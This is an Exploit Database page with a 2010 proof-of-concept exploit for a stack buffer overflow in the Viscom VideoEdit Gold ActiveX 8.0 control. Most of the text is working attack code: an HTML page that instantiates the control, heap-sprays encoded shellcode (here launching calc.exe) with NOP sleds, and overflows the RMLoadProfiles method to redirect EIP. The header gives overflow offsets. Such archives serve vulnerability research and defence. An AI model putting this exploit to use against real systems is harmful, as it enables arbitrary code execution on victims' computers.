Viscom VideoEdit Gold ActiveX 8.0 – Code Execution

• Exploit Database
• 11 阅读

• 作者： Rew
  日期： 2010-12-06
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15693/

• <!--
   
  Title: Viscom VideoEdit Gold ActiveX 8.0 Remote Code Execution Exploit
  Date: Dec 5, 2010
  Author: Rew
  Email: rew [splat] leethax.info
  Link: http://www.viscomsoft.com/products/videoeditgold/index.html
  Version: 8.0.0.0
  Tested on: WinXP - IE 6
  CVE: NA (0day)
   
  Impact is relatively low due to object not marked safe for scripting.You'll
  need to change the default IE settings to let it run.
  
  This is a plain vanilla stack overflow.The file is...
  "%PROGRAMFILES%\VideoEdit Gold ActiveX Control\VideoEdit.ocx"
  I'm not using the SEH but here's the offsets just for kicks if you're interested.
  
  [2311 junk] [ebp] [eip] [284 junk] [nseh] [seh]
   
  -->
  
  <object classid='clsid:57D9AF4C-23BA-47EC-A40B-2DA79641B285' id='target' /></object>
  
  <script>
  
  // Ctrl+C Ctrl+V, herpderp
  
  // calc.exe
  var shellcode = unescape(
  	'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
  	'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
  	'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
  	'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
  	'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
  	'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
  	'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
  	'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'
  ); 
  
  var nops = unescape('%u9090%u9090');
  
  var headersize = 20;
  var slackspace = headersize + shellcode.length;
  
  while(nops.length < slackspace) {
  	nops += nops;
  }
  
  var fillblock = nops.substring(0, slackspace);
  var block = nops.substring(0, nops.length - slackspace);
  
  while((block.length + slackspace) < 0x50000) {
  	block = block + block + fillblock;
  }
  
  memory=new Array();
  for(counter=0; counter<200; counter++){
  	memory[counter] = block + shellcode;
  }
  
  var bof = '';
  while(bof.length < 2312){
  	bof += 'A';
  }
  bof += 'BBBB'; // EBP
  bof += "\x0c\x0c\x0c\x0c"; // EIP
  
  document.getElementById('target').RMLoadProfiles( bof );
  
  </script>